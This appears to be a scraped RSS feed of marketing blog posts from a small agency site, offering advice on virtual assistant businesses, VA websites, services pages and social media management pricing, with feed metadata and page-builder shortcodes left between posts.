Your VA (aka “research assistant”) is your Google in the flesh. When you’re ready to hire a virtual assistant, think about the research you need for projects you want to accomplish that will take you time (without requiring a high level of expertise). Then write out general guidelines for the information you seek, as well as useful resources and your preferred presentation format.

Design and graphics

If you have little or no graphic design experience, don’t try to learn everything in record time when your time would be more profitable doing something else. Knowing the basics is good. But let the professionals do their job. You’ll get better results, faster.

The term “design” can refer to many things, depending on your business and your needs. Here are the fundamentals common to all companies:

Graphic design: brand assets (logos, style guide, letterhead), social networks (cover image), blog post graphics, etc.

  • Web design: the look, feel, and structure of your website.
  • Photography: portraits and stock images for your website.
  • Video: content (to explain how your products work, for example) or marketing,

Whether it is scheduling, performing the task, editing/touching up, many VA’s can perform this at a high level.

Marketing

Without marketing, no one will know the products and services your business provides. Because to prospective customers, your business doesn’t exist.   In other words, you need to be marketing your business at all times.  When you first start out in business, it is typical you are doing either marketing or sales.  Having a VA can let you do the things that bring in more profits into your business as you focus on those activities.

There are many aspects to a marketing strategy. How can a VA help your marketing efforts?

  • Engage with consumers via email
  • Optimize the organic SEO of your website to increase traffic
  • Use marketing content to convert your visitors into customers
  • Use social networks to build good relationships with your customers and increase your sales
  • Automate reminders and follow-ups based on your customers’ behavior on multiple channels
  • Appear among the relevant results of internet searches thanks to CPC-based advertising (cost per click)
  • Use press relations and influencers to reach new audiences
  • Keep information on all these channels up to date.

This is an area where having a VA work on your behalf can put you ahead of your competition.  I have listed some very different skill sets above, so expect that you may need more than one to get everything done.  That is the beauty of having a VA.  They don’t have to be a 40 hour a week expense.  You can hire them part time to do a few hours a week (or whatever your budget can handle at the moment)

Sales

Hiring a full-time sales person or team for many companies can be a non-starter.  Especially, if you aren’t earning a bunch yet.  You might consider bringing in affiliate marketers to get the word out about your business and the products/services you offer. They will target and promote your services to their (usually large) audience in exchange for a commission on each sale.

Use your VA to research, find and built those affiliate relationships to the point they will bring you in to close the deal.

Create processes /polices

Perhaps you have been going so hard at your business that you either haven’t sat down (or just procrastinated doing so) implementing repeatable processes that insures your business runs smoothly.  Or maybe you never got around to creating terms and conditions for sales, return policies, customer service tracking, etc. (you can see the list can be long).  Maybe you need to implement a workflow that automates the work to move from one person to another?  Use your VA to do this for you by drafting documents that you sign off on.  There is nothing worse than a policy that you do not agree with being implemented on your behalf that puts you in a bad light with customers/prospects.  Take the time to review these items before putting them into practice.

Your takeaway…

Whether you hire one or a team of virtual assistants, there is no end in the ways they can help you automate your business processes and boost your business like never before!   Offloading the non-income generating tasks to a VA can be like jet fuel for your business when done correctly.

To do it right, start small and plan as your business grows, based on your needs. Start with the mundane, repeatable tasks.  When you see how much time that frees up for you, you can begin to expand on the concept.

Call To Action

Hiring a virtual assistant can be made easier when you follow an on-boarding procedure.  And you are in luck!  I have a free Virtual Assistant Onboarding Checklist for you.  Don’t minimize thinking that you got this.  A surprisingly high number of VA’s leave because they haven’t been properly given everything they need to do their job. It gives you guidelines and a checklist of everything you need to get your VA up and running as soon as possible.  Click here for the checklist.

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]]> The 10 Essential Elements For Your Virtual Assistant Website! https://socialmediadudes.com/virtual-assistant-website-for-beginners-top-10-essential-elements/?utm_source=rss&utm_medium=rss&utm_campaign=virtual-assistant-website-for-beginners-top-10-essential-elements Sat, 29 Aug 2020 06:39:00 +0000 https://socialmediadudes.com/?p=929 The post The 10 Essential Elements For Your Virtual Assistant Website! appeared first on Social Media Dudes.

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Virtual Assistant Website For Beginners – Top 10 Essential Elements!

Whether you are just starting your Virtual Assistant business or are looking to scale it to bigger heights, a website is one tool that is definitely a difference maker.  If you still aren’t sure you need one, read 10 Reasons Why Virtual Assistants Need A Website!  But for this post, let’s just agree you do in fact need a website for your Virtual Assistant (VA) business.

So, with that covered, let’s make sure your VA website has the essential components to make it stand out and to help build your business.  Here are the top 8 must haves for your VA website:

1 – The Right Platform – WordPress

Coming to the decision to have a website probably frayed some folks nerves to begin with.  But you are over that.  Keep that positive momentum going by selecting the right platform to build your website with.  You may be thinking to go with something that is easier. WordPress is now more user friendly than ever.  It won’t tie you to a developer as you want to either expand or make changes.  As tempting as other platforms (Square,  Wix, etc) may look, after a short learning curve, the WordPress platform most likely will serve you better.

Bottom line, you will have more options and have a better opportunity of having a website you can both be proud of and that will impress prospective customers by going with WordPress.

The other reason to use WordPress is that it is likely your clients will want you to have a working knowledge so you can do minor work on their site (post blogs, pics, post upcoming events, etc)

2 – Your Services Page

When you are just beginning your VA business journey, you tend to want (or at least “feel” you need) to be all things to all people.  That does you a dis-service. You need to understand who your Ideal Customer Avatar (ICA) is in order to best serve their needs.  As a virtual assistant, there are a myriad of services that you can provide to your ICA. What you don’t want to do is list every service that any VA offers because potential customers won’t believe you (unless you can provide some social proof described below)  If you can’t speak multiple languages, maybe offering translation services is not in your best interests.

What your Services Page does is to provide you an opportunity to show the things you can do and the verticals you can serve best.  You might have a real estate background, so you are able to put that knowledge forward to better help your clients.

So, what are the components that your Services Page should contain?

Detail the type of customer/vertical you are most likely to be successful with and who will benefit from the services you provide.  (If you do social media management, you might include that your company are Facebook/Instagrams ninjas who have had tremendous success working for start-up and small businesses who don’t have the time or inclination to take on this task themselves.  (The more story you tell, the easier it is to resonate with your offerings…because they are more likely to see themselves as wanting that help)

Now that you have listed the vertical segment of the types of customers you can help, let’s provide a listing of the services your VA business offers.

I am a HUGE believe in creating packages with prices.   I know some people are reluctant to do so, but I have found that most people are afraid of the unknown.  When I didn’t put prices on the site, people would say “I can’t afford you”  And they were so wrong.  So, I do now knowing that it does some prequalification of customers for me.  Is it possible that I lost some customers who I may have gotten otherwise?  Possibly.  But my approach to closing business is not high pressure.  This makes it easier for all parties to begin the conversation.

Is there an advantage to working with you?  In other words, what is the value proposition that you provide?  If there is something (experience, skill level, etc) that sets you apart from your competition, let prospective customers know about it.

Social proof – Do you have testimonials (video, emails, notes) from current/past customers that say what a great job you did?  Use them to your advantage her.

Pricing – while I spoke about pricing above, let people know that you can also create custom pricing for individual scenarios.

You need a call to action (CTA).  Include a call to action (click here for free 20 minute consultation, give me a call, send me an email, fill out this form, etc).  Instruct people what you want them to do next.

Is your website showing you and your VA business in the best possible light? – here everything that ALL websites should include! https://ctt.ac/6C6_v+ CLICK TO TWEET

3 – Readily Available Contact information

If you want customers to reach out to you, then they are going to need an easy way to do so. I can hear you right now.  “Thanks Captain Obvious!”  lol  But you would be amazed at how many sites don’t make this available at every opportunity! 

So, what am I really saying here is EVERY page of your site should provide a way for folks to reach out to you!  This could end up as a “Have a question” or Contact Us” in the footer of your site or could be in the body (or sometimes as you will see on my site, it is both)  This is in addition to having a Contact page that stands on its own that may provide more options to reach you.

So, that means using some sort of “contact form” module that will send an email to you when they submit. 

If you aren’t interested in getting a bunch of spam, putting your email address on the site is not advisable.

Provide every contact option that you can support (without going crazy).  Everyone has a different DNA for how they want to communicate.  Could be an email, phone call, skype/zoom meeting.  You might consider a google phone number that can alert you when someone calls.  Make it easy to do business with you and that begins with their ability to reach out.

4 – Photos/Videos of your team working

Prospects and customers resonate to sites that have either pictures or videos.  They like to see you in action and that you know what you are doing.  It goes to the “know/like/trust” factor that is not to be underestimated in gaining new clients.  Do, don’t disappoint them.  Take some pictures.  Not feeling comfortable with YOUR picture being taken.  Take more pictures.

Show potential customers that you and your team are friendly.  Better yet, include a video. 

OK, I get it.  Many of you are Solo business owners. If you feel like you don’t want every picture with you in it, consider including images of recognizable objects that are associated with your business.  If you specialize in working with law offices, perhaps an image of the legal scales of justice.  You get the idea.  Don’t go without photos/videos on your site.

 5 – About Page

Potential customers understand that many VA’s businesses are not huge.  So, in an effort to get a better understanding of who they might be doing business with potentially, they go to the About Page.  A lot of business owners in general either treat the About page as an afterthought or actually bypass it altogether.  Big mistake.  On all of my sites, my About Us page is one of the more visited pages on the site.

Use this page to tell your story.  It isn’t just to let folks know about you, but also how you use your skills to help your clients. The about page is about you, but it’s also about how you work with your potential clients.

I can hear you know.  John, I am not sure what to say.  Here are some things you might consider:

  • What makes you unique from other virtual assistants?
  • What do you bring to the table?
  • What led up to you doing this business?
  • Describe your ideal customer/vertical and why you have the skills to serve them better than your competitors.

Providing this will help you to hone your About page to attract new customers.

6 – A Blog with Amazing content

You provide amazing services that provide high value to your customers. What you want to do at this point is to have as many visitors to your website as possible that would be interested in your agency providing services. So, you want people to find you, but how does that happen?  How does your site come up in the search algorithm?  Simply said, it requires quality content that is provided on a consistent basis.  Google likes websites that are regularly updated. Content in its many forms demonstrates your subject matter expertise.  It can be written blog posts,  videos or podcasts. Something to keep in mind that you want to have the content reside on your site, so google and social media brings people back to you where they can find out more about the services you provide.  The result of this effort is that it builds relationships with your audience and prospective customers.  A blog is you’re the cheapest, most cost effective marketing that you can do! Here are some of the things that you may not have thought about a blog doing for you:

  • Provide a reference point for your social media postings
  • Effective communication network for your agency to allow others to post to other social networks
  • Insures that you are perceived as an expert in your niche

OK, I can hear you now….”John, I am convinced I need a blog, but I don’t have the time or the expertise to put together blog posts for my business.  I have you covered! I provide 1,500 word blog posts in a DFY approach for VA’s on a monthly basis that includes an infographic that is very economical.  Click here to find out more!

7 – Client Reviews / Testimonials

What happens when your customer needs your service, but you don’t have the time to build the know/like/trust factor?  We mentioned testimonials above but it deserves its own paragraph. Customer testimonials add content to your site and let’s other know that you add value to the services you provide!

Testimonials from real customers make prospects relate to their challenges and tell people who don’t know you that you can be trusted to do a great job.

They are actually easier to get than you may think.  Talk to your customers and ask if they would be willing to either write a few words about their experience with you or better yet a short video.

If you get a great google review, then let people know about it.

Finally, a word about case studies.  Let me just say this…case studies are powerful!  Potential clients want to know how you have helped past clients achieve their goals. By you putting together the story of what the challenge was (customer had serious data issues in getting their spread sheets into one file that made sense. Then tell how you approached it and what you did to provide the solution that the customer loved.  Having case studies on your website can help prospects feel more comfortable reaching out to you because they can see how much you’ve already helped other business owners.

Don’t overlook this if your VA business is just getting off of the ground and you don’t have the social proof to provide these types of opportunities (yet).  Don’t stress it! It’s perfectly fine to use past co-workers and bosses as your testimonials until you get your VA business up and going. You are probably doing many of the same things that you did for your bosses.  Just be transparent.  It will pay off long term.

8 – Frequently Asked Questions (FAQs)

There are several ways that providing a list of FAQ’s can help your business. But before we go there, let’s answer some FAQ’s about what they are as well as what they do:

  • A list of the most common questions that come up for your niche and type of work
  • Enhances the customer experience
  • They help people understand your business
  • They help you communicate the terms and conditions for doing business with you.
  • Increases sales because you have provided the basic information needed to go forward
  • Decreases incoming questions that to you seem repetitive or basic.

Let’s talk about the benefits that FAQ’s provide:

  • Helps you to let customers know their needs
  • Shows your expertise
  • Helps customers to better understand what your business does.
  • Actually will boost your Search Engine Optimization

Some people may have a misconception of what working with a VA is like.  Providing a list of FAQs solves that problem!

FAQs help to remove any confusion or uncertainty that potential clients may have about working with you. By answering questions such as, “what is it like to work with you?” and “how do I know if I’m ready to work with a VA?” upfront, your potential clients will already start to feel more comfortable with the idea of working with you.

9 – Website need to be Responsive and designed for mobile optimization

Let’s start with understanding what that means.  A website that is responsive is basically one that adapts to have your website look good no matter what size device.  In other words, everything is scaled and “optimized” to look good whether you are viewing it on your desktop, laptop, tablet or other mobile device.

So, one thing you want to do when you build your site (or have The Social Media Dudes create your site [shameless plugJ]) is to insure it is responsive by testing it out on different devices.  

More importantly, you don’t want to do everything right on your site by including everything above only to have Google punish you because your site isn’t mobile friendly.

10 – Call To Action (CTAs)

Sometimes, people need to be told what to do.  It may be the result of not knowing what the next step is, it may not be clear how to proceed, or just need to be guided.  If your pages don’t contain some sort of Call to Action (CTA), then you are likely missing potential sales

A CTA isn’t always about closing the deal.  It may be trying to get them to subscribe to your email list (you do have an email list, don’t you?), perhaps you are wanting engagement by having the visitor leave a comment or perhaps to set up a quick consulting call so you can understand the prospects needs before you prescribe a solution (you).

Call to action (s) are a key feature to any website. Every page and blog post on your VA website should have at least one CTA.

Your takeaway…

Whether you are just starting out or your VA business has been up and running for a while, our VA website is an essential part of your business.  Work on implementing these essential tips on your website to insure you make a great impression!

Do you still have questions or are overwhelmed? Reach out to the Social Media Dudes by scheduling a free 20 minute consultation to discuss your current site or plan on a new site to invigorate your VA business.

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]]> What You Need To Know About Social Media Marketing! https://socialmediadudes.com/what-you-need-to-know-about-social-media-marketing/?utm_source=rss&utm_medium=rss&utm_campaign=what-you-need-to-know-about-social-media-marketing Fri, 21 Aug 2020 12:14:53 +0000 https://socialmediadudes.com/?p=899 The post What You Need To Know About Social Media Marketing! appeared first on Social Media Dudes.

]]> Whether you decide to manage your business’ social media or to outsource it is a decision you should not take lightly.  Putting together a social media calendar and maintaining it takes a good bit of effort. But however you decide to go ultimately, it is best that you understand the following:

Social media is critical to your business because it allows you to reach people organically locally, regionally, nationally or even can touch potential customers internationally!

So, when it comes to social media, you want your actions to enhance your company/brand’s overall prominence.  And when you do so, if you decide to outsource this, be sure you are not just going on price alone.  Just because your kids’ friends knows about social media networks doesn’t mean they understand your business and the objectives you are wanting to achieve.

What do you want to achieve with your social media marketing?

There is a saying “Know what you want to achieve and work backwards”.  The same can be said about social media marketing.  You want to be clear on the objectives you are wanting to achieve.

A small sampling of your objectives might be:

  • Position your brand as the go to authority – Demonstrating your authority in a particular space helps to build brand awareness and positions your company (and you) as an expert.
  • Generate traffic to your website – Having a large social media presence is great, but useless if it isn’t driving people to where you make sales…your website! This requires a deliberate approach, including relevant content and appropriate timing.  And if you aren’t posting regular blog posts to your site, consider outsourcing this.
  • Increase subscribers to your email list – Maintaining a meaningful relationship with prospects is critical to the know/like/trust aspect of marketing. To get their attention initially, you must create persistent, attention getting calls to action. Then once you have them, nothing is more critical than turning those leads into full-fledged customers.  To be clear, doing that is going to require more than just social media to get the job done!)

Once you understand what it is you want to achieve, you can begin to formulate a social media program.  Then determine which social media platform(s) your ideal customer is likely to be and put together a social media calendar. Keep in mind your ideal customer may not be hanging out in the places you may be typically thinking, so take the time to do some research to insure you are working the appropriate platforms.

What kind of social media packages are available for your business?

If you decide this is more than you want to take on, most social media management agencies will offer multiple packages for you to choose from.  They can range from posting content on a single platform to something more robust that is going to encompass multiple social networks.  By understanding the objectives for your business (see above), you can determine exactly what you need to spend.

For most small businesses or start-ups, a package containing one post a day of relevant content is the minimum needed.

And if you are just starting out, begin with just one network to maintain.  Get a better understanding of your ideal customer and their needs before expanding to additional social media platforms.  Save yourself a bunch of money and do well there first!

What sort of social media management packages are there and why the price difference?

Package deliverables and pricing is dependent really on how much work you are asking the agency to perform on your behalf.

To be sure, there is no one size fits all approach to social media management.  What you can expect to see most often are package levels (typically in ascending costs) that include:

  • Content only – Posting a certain number a times either per day/week or month
  • Interacting relationship on your behalf – This is replying, communicating, updating posts for you on a daily, weekly, or monthly basis
  • Direct/Indirect Outreach – this may be to attract media exposure, gain new followers, reaching out to potential partners/cross-sellers, etc
  • Objective strategy – this may involve a campaign of some sort where reporting is communicated regularly in order to adjust/optimize results

Pricing can be as low as $50 @ month for generic posts (Social Media Dudes doesn’t advocate buying this service at this price because they feel the results are “generic” as well).  Take these for what they are, automated programs that produce posts according to topics you choose.  They are neither company nor brand specific.  While you will have a social media presence, you should not expect relationships or building a community with these types of posts.

The next step up is in the $100 – $200 @ month range where you will have daily posts that are designed to be specific to you/your company/service.  They are branded posts typically once a day to one social network platform.  These will do the heavy lifting and you can add your own engagement if you want to begin building community.  This is a range that can accommodate many small or start-up businesses.

In the $201-$500 @ month category, you are going to get a hybrid of the $100-$200 offerings.  It will includes more posts spread across multiple platforms and will also provide a level of metrics for your efforts.  There is likely to be a level of engagement involved from the agency handling these tasks for you.  It will definite increase you visibility and provoke (or should) more engagement from your community.

Prices definitely go up from here and can go to the tens of thousands of dollars a month.  Typically, there are campaigns around these that are designed to drive traffic, deepen relationships and include sales conversions. The reason that there is a wide variance is dependent on the number of social networks you want to have a presence on (don’t spread yourself too thin), the velocity that you want to increase your presence and the ability to make tweaks to optimize the results.  These campaigns will definitely strengthen your brand and broaden the awareness around it.  This is where it can become tricky because sometimes the ROI (Return On Investment) isn’t always directly attributable to the efforts made on your behalf social media wise. 

Your takeway…

The management of your social media for your company/brand is not something you should take lightly or do based on price alone.  Make sure that the people you are dealing with understand your business and what your objectives are before embarking on having a presence.  The returns are a “cumulative effort” in that one post or tweet is not something you are going to be able to point to and indicate that is where the business came from.  Probably like pounding on a rock, it is the last strike that cracks it, but all of the other strikes were necessary in order for that to happen.  And if you don’t feel comfortable with the people doing the work on your behalf, trust your gut.  Don’t let a low price have you make a bad decision that you are going to regret.  When done well, social media can be a game changer for your business.  Finally, just because you may not use or believe in social media, your customers feel otherwise.  It is a tool that every business needs in their tool box.

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]]> Top 5 Things Your Services Page Should Contain! https://socialmediadudes.com/top-5-things-your-services-page-should-contain/?utm_source=rss&utm_medium=rss&utm_campaign=top-5-things-your-services-page-should-contain Sat, 15 Aug 2020 18:27:00 +0000 https://socialmediadudes.com/?p=905 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false”][et_pb_row _builder_version=”3.25″ background_size=”initial” background_position=”top_left” background_repeat=”repeat”][et_pb_column type=”4_4″ _builder_version=”3.25″ custom_padding=”|||” custom_padding__hover=”|||”][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ link_font_size=”18px” background_size=”initial” background_position=”top_left” background_repeat=”repeat” hover_enabled=”0″] People […]

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People tend to spend a lot of time on their “About” page.  And while there is something to the know/like/trust factor of gaining customers, the page on your site that will make you money and elevate your business from your competition is your Services page.

Your Services page is usually one of the most viewed pages of your website, so you want to do everything you can to have it stand out. Because the right layout and content can potentially lead to more sales.

We have all come to the understanding that our blog posts should be geared to our ICA (Ideal Customer Avatar) to effectively grab our audience. Your Services page should be considered in the same light.  The more you tailor your Services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that will want to work with you.

Here’s how to format your website’s services page to attract more clients!

Top 5 Tips for Creating a Service Page

Capture their attention; lead with your services!

In some regards, this could be considered “qualifying your audience”.  As such, lead with a brief overview of the services you offer.  You can then provide a more detailed description of your services a little further down the page.

Set yourself apart from your competition by letting your prospective clients know the benefits your service offerings will provide to your ICA. To gain a competitive edge, you should also highlight the benefits prospective clients can experience after using your company’s services. Appeal directly to your ideal client by addressing their problems or pain points and how your services can solve them.

Relate your services to your ICA

This was mentioned earlier, but can’t be overstated.  Tell how your product/service can benefit your ICA.  Doing just this can dramatically increase your conversions!  Cement the thoughts/relationship further by being able to detail you have helped specific (ICA) clients previously.  (If they aren’t willing to give a testimonial, then ask their permission to reference them.

Include a section titled “This is for you if…” so your website visitors can quickly skim the content and see if your services are suitable for their particular needs.

CLICK TO TWEET!  Want to know the Top 5 Tips For Creating a Service Page That Converts!

Testimonials pay untold dividends

Don’t forget to make good use of all of those great testimonials you have received on your Services page.  It provides prospects a very good understanding of what they can expect as your customer. Your past clients can really do a good bit of the heavy lifting here if you have done a great job of providing value to them on previous engagements.  While people gravitate to video testimonials, even little snippets pulled from emails can be the nudge that turns a prospect into a customer.  In other words..past success stories are a good indicator of future sales :).  Testimonials deliver on the know/like/trust factor with prospective customers!

Cut to the chase: Post your prices!

I know there are different thoughts on this.  But in my experience, you lose more business by not having prices than posting them.  Why?  Because when I didn’t post pricing, people who went elsewhere only did so because they thought I was too expensive.  Their logic was, looking at your content and site and social media presence, we didn’t think we could afford you.

To me, it just saves time.  I try to let my content/testimonials to the selling so to speak.  If I get on the phone with them, I am not trying to convince them of the value I can provide.  It is more about how am I going to execute.  So, if someone sees my price and is put off for some reason (maybe too expensive, but I have also had folks said I didn’t charge enough and weren’t confident of my skill set. (Turns out, a lot came back after the fact and were pleasantly surprised).  Either way, that is one less phone call.  I know my ICA, what their pain challenges are, as well as the target price point.  As such, I am hitting the mark more often than not J

If you are still looking for a reason to post your prices, some potential customers will leave a website if they can’t find pricing information, so make it easy and include it!  If you are hesitant to list a specific price, I get that.  In that case, provide a range and indicate it will be a matter of what services they decide they want.

A must have: a Call to Action (CTA)

There really isn’t any need to do all of the above and then forget the most important part of your services page:  a Call To Action (aka CTA)  I mean you have told your ICA about the services that would most likely help them and how they could be like previous customers and benefit as a result of doing business with you.

What you need to readily provide now is What is the next step?   This is not the time or the place to beat around the bush on this.  Provide an opportunity to have prospects take the next logical course of events.

How would that look?  Easier than you think, but many Service pages don’t address this.  For example, you can place a button or link that invites them to:

  • Get a quote
  • Contact us now
  • Click here for your free 20 minute consultation

If you want your clients to work with you, make it easy for them to do so!

Your takeaway…

Your Services page on your website provides the best opportunity to hone in on your ICA and make them a customer.  Demonstrate that you know their pains and the challenges they face by showing them how your services directly hit home in a positive manner.  The more you understand and can customize your offerings to your target niche, the more successful you will be in gaining new customers.  And if you know your customers intimately, your pricing displayed on your website will actually benefit you long term and have the right customers approach you for your service.  Solidify the confidence of your ICA that you are more than up for the job by providing great testimonials on your Services page.

The more you tailor your services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that you want to work with.

Are you ready to take the next step with your website and need help?

Let’s talk about your situation and/or digital media needs.  Contact us for a no obligation 20 minute consultation!

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]]> Launch and Grow Your Virtual Assistant Business! https://socialmediadudes.com/launch-and-grow-your-virtual-assistant-business/?utm_source=rss&utm_medium=rss&utm_campaign=launch-and-grow-your-virtual-assistant-business Sat, 18 Jul 2020 05:55:00 +0000 https://socialmediadudes.com/?p=893 A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are […]

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]]> A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are everywhere today. They offer cost-effective solutions to help business owners so that they can focus on growing their business.

Due to the fact that online work is to be done, the virtual assistant can work from any place in the world. Thanks to technological improvements such as broadband Internet and document sharing, remote working has become a reality.

What qualities should any virtual assistant have?

Being a good virtual assistant is making your customer’s life easier. In a sense, you are delegated to take charge of the tasks which will be entrusted to you.

You need to give your client the feeling that he can leave you unattended while achieving exceptional results. Here are some of the most appreciated qualities in a virtual assistant:

Reliability

Reliability is a must-have of a virtual assistant. Whatever your qualification or the cost of your work, you will lose customers if they cannot count on you.

Rigor

Rigor is very important. People are human and mistakes can happen. But you should avoid unnecessary errors like typos, and missing deadlines. They make seem like small details, but definitely can be a deal breaker for folks who hire VA’s.

A kind and sympathetic personality

You need to balance business and personal feelings toward your employer as a VA. Having a great relationship with your customer will take you further than you could imagine. Some clients are easier to work with than others.  Try your best to stay optimistic, no matter how the client behaves.

Help develop the client’s business

If you can grow a client’s business and it increases their income, you will have a job forever. The extra income you provide to the client will make you an invaluable member of their team.  And in the end, you will get more business as a result of helping their business grow.

Ensure impeccable follow-up

Stay in charge of each job, even if your client is not. Minor jobs can often fall through the cracks, but it’s your duty not to let that happen.

Work well under pressure

Never let a customer see you sweat. It’s a joke, but it’s true in more ways than you might think. You want every customer to feel that they are your only customer, regardless of your workload.  While it is easier said than done, those that can perform gracefully under pressure are the ones who get more work.  Their clients may not acknowledge it, but they appreciate you making their lives easier.

Can you multi-task?

If you can take on multiple tasks at once, get them done on time and budget, you will always be working.  It takes organization, efficiency, and proper planning, but it’s essential for success as a virtual assistant.

How to launch a virtual assistance business in 6 easy steps

Now it’s time to take action and start your business as a VA. This multi-step process will help you see more clearly to get started.

To create your successful virtual help desk, you will need to go through several steps:

  • Choose your offer
  • Set your prices
  • Find your ideal customers
  • And much more…

I will show you step by step the essential points to get started, be sure to take these 7 steps seriously.

1. What services are you going to provide?

You now know that you can offer hundreds of services as a VA. You can do it all, from writing to sending emails, calendar management, accounting, marketing, social media, etc. Concentrate on the skills you have that you like doing. There is no reason to scatter yourself, especially at the beginning, when you have a lot to learn!

But if you are a 1 person operation, indicating that you specialize in 15-20 areas is a disconnect to potential employers.  Find your niche.  It might be social media, content generation or a variety of tasks.  Find several of them and be really good performing them.  More importantly, be ready to show social proof of your ability when a prospective client asks to see your work.

2. Set your prices

Now that you know what services you are going to offer, you need to set the prices for your services. You have to be competitive without selling yourself off to win customers, but then how do you set the right price?

This is what we will see; you should know that most of the virtual assistant offers fall into four main price categories:

  1. Hourly Rates: Your client pays an hourly rate, and you are paid for the time you work.
  2. Project-based: Your client pays a fixed amount for a one-time project (creating social media accounts, designing a website, etc.)
  3. Hourly rate plan: Your client pays for a specific amount of hours to use over time. Depending on your contract, they may expire after a specified period, for example, 6 months or a year.
  4. Monthly: Your client pays you monthly for a set of tasks or a specific number of hours.

The easiest way to determine the value of your services is to do some research on what other virtual assistants charge.

You can do a search on Google, go to freelance sites, or search on forums, Facebook groups and just ask the question.

Average the rates you find, and you will get a clearer picture of the prices you can charge a company in your area of ​​expertise.

Important: Also take into account the experience you have in your field, you cannot charge the same price if you have 10 years of experience or if you have just trained.

Also, don’t severely underprice your services.  While there is such a thing as “buying the business” when you first get started, when you price much less than the lower end of the range, potential employers tend to think you don’t know what you are doing.

3. Know your ideal client and target market

Once you have determined the services you offer and set your prices, you MUST ABSOLUTELY determine the type of clients you want to work with.

If you don’t take the time to know your ideal client, then you will be unable to target them. By knowing it at your fingertip, you know exactly what it needs. Therefore, you can offer him the perfect service.

Be as specific as possible and try to get into the mind of your ideal client:

  • Are they small business owners?  Start ups?
  • Do you work a specific type of business?  (Legal, construction, etc)
  • What are their points of frustration?
  • What types of services are they likely to need?  (Insurance companies are going to have much different needs than an online marketer for example.)

Ask yourself if the work they do is interesting or if it is an area in which you are comfortable. You should also write down how you can help them and why they should choose you over another VA. This step is essential because it will help you develop your marketing plan afterwards.

5. Create your website and set up a marketing strategy

If you want to work as a VA, then most likely, you will work remotely. It is, therefore, essential for you to have an online presence; the best way to present your services and skills is to have a website.

Think of it as your business card, a website will let your potential customers know if you are the best choice for them. There are simple and affordable solutions to create your professional site, Here at Social Media Dudes, we are huge believers in WordPress. 

Social networks are also an essential part of your business; it can be a good source of traffic for your website.  What platforms are your target employers using?  Are they on Facebook? On Instagram? Or even LinkedIn? Communicate with them to show them that you understand their need.

That is where you should be putting some of your marketing efforts towards.

You don’t have to be everywhere: learn where your ideal customers are and master one or two social media platforms.

6. Network with other virtual assistants

Working from the comfort of home can, from time to time, become an isolated job. You will always need a support group, someone who understands you and can help you with advice, or just someone you can share with from time to time.

Find Facebook blogs and groups that are in your niche. Find a group of individuals who share your goals and work alongside them to build a prosperous business.

Leverage your relationships!  If you are a great content marketer and someone else is fantastic at social media management, perhaps you can work together on projects.  Don’t isolate yourself from other VA’s and profits!

7. Under promise and over deliver

Making your customers happy is the greatest asset of your business.

Once you have found your first customer, do everything you can to provide them with quality service; do not hesitate to always deliver a little more.

A satisfied customer can recommend you to other business they know, and you only need a handful of customers to earn a full-time income as a virtual assistant!

Don’t be afraid to ask for feedback.

Ask your customers if there is anything you can improve and take into account everything they tell you. Use each positive review as a testimonial and ask your best customers if you can use them as references. This will go a long way in helping you get more customers.

Finding Virtual Assistant Jobs Online and Offline

Now that you have determined the services you are going to offer, how much you are going to charge for your services and that you have created a website, it is time to find customers.

Finding customers is often the toughest part for any new business, and you will need to be proactive at the start:

  • Send emails to companies
  • Register on freelance sites (Upwork, Freelancer, etc)
  • Use your family and professional network
  • And much more…

Fortunately, there are a few places where you can find more success than others.

Try freelance websites

It is relatively easy to find virtual assistant positions on websites for freelancers like Upwork, Malt or even offered microservices on sites like Fiverr or 5euros.

This is a good way to get started, but you don’t decide who you want to work with and why.

You accept all requests that reach you; therefore, you compete with other VAs and do not have complete control over your business.

But the best way to find clients and get paid for what you are worth is to identify and contact the clients you want to work with.

Call on your family and friends

Don’t be afraid to ask family or friends directly that you are looking for work, tell them what you are doing exactly and how you can help.

You may be surprised to find out they someone who is looking for help and who can put you in touch.

If it turns out that they know someone who is looking for someone with your skills, they will be happy to help and give your contact.

It is a simple method that is successful because you come through a personal recommendation.

Partner with other freelancers or entrepreneurs

You can join Facebook groups of entrepreneurs and participate in networking events. Partnering with other freelancers is a great way to get a job. There are two means to make it workable:

  • Suggest outsourcing: When they are overworked or looking to outsource certain tasks, you can work for them.
  • Partner with a service provider – Team up to offer a broader range of services than you can offer alone. For example, a copywriter and designer can team up to provide all-in-one sales pages.

It’s a win-win method, you both get to work, and it also expands your network.

Direct prospecting

You now know your ideal client and target market, so you can directly contact the clients you want to work with.

It is one of the best methods to get new customers if you have done the work upstream to find your ideal customer.

It is then easy for you to contact him is to explain the services that you offer by pressing on these points of frustration.

Become a VA and get started working from home

If you want to work from home and be independent, the job of a virtual assistant may be for you. It is a business that you can start without a big investment; you only need a computer and an Internet connection.

Having a website is a plus, but it is not essential to start. With a little networking, you will find that it can be quite easy to find your first customer. I hope you have found this safe guide on how to launch and grow as a virtual assistant useful.

The post Launch and Grow Your Virtual Assistant Business! appeared first on Social Media Dudes.

]]> A Quick Guide To Social Media Management Pricing! https://socialmediadudes.com/a-quick-guide-to-social-media-management-pricing/?utm_source=rss&utm_medium=rss&utm_campaign=a-quick-guide-to-social-media-management-pricing Wed, 27 May 2020 19:58:10 +0000 https://socialmediadudes.com/?p=834 [et_pb_section fb_built=”1″ _builder_version=”4.4.3″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.3″][et_pb_column _builder_version=”4.4.3″ type=”4_4″][et_pb_text _builder_version=”4.4.3″ hover_enabled=”0″] What You Need to Know About Social Media Marketing!   […]

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What You Need to Know About Social Media Marketing!

 

Whether you decide to manage your business’ social media or to outsource it is a decision you should not take lightly. Putting together a social media calendar and maintaining it takes a good bit of effort. But however you decide to go ultimately, it is best that you understand the following:

Social media is critical to your business because it allows you to reach people organically locally, regionally, nationally or even can touch potential customers internationally!

So, when it comes to social media, you want your actions to enhance your company/brand’s overall prominence. And when you do so, if you decide to outsource this, be sure you are not just going on price alone. Just because your kids’ friends knows about social media networks doesn’t mean they understand your business and the objectives you are wanting to achieve.

What do you want to achieve with your social media marketing?

